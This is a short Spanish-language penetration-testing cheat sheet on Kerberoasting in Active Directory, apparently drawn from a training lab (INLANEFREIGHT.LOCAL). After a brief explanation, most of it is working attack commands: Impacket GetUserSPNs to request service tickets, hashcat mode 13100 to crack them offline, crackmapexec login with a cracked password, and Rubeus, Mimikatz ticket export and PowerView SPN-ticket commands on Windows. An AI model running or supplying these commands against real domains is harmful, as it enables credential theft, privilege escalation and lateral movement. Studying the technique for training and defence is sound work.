Kerberoasting

Kerberoasting es una técnica de movimiento lateral y escalada de privilegios en AD. Explota cuentas de servicio con Service Principal Names (SPNs) configurados.
Funcionamiento:
  • Cualquier usuario del dominio puede solicitar un ticket Kerberos (TGS) asociado a una cuenta de servicio.
  • El ticket está cifrado con el hash NTLM de la cuenta de servicio.
  • El atacante hace fuerza bruta offline para obtener la contraseña en texto claro.

Linux (GetUserSPNs)

terminal
# Listar cuentas con SPNsGetUserSPNs.py -dc-ip <IP_DC> <DOMINIO>/<USUARIO># Solicitar tickets TGSGetUserSPNs.py -dc-ip <IP_DC> <DOMINIO>/<USUARIO> -request# Guardar el ticketGetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs# Crackear offline$ hashcat -m 13100 <archivo_tickets> <diccionario># Autenticación con la password crackeada$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!

Windows

Enumerar SPNs: setspn.exe -Q */* o Get-DomainUser * -spn (PowerView).
powershell
# Rubeus
.\Rubeus.exe kerberoast /tgtdeleg /nowrap
# Mimikatz
mimikatz # base64 /out:true
mimikatz # kerberos::list /export
# PowerView
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat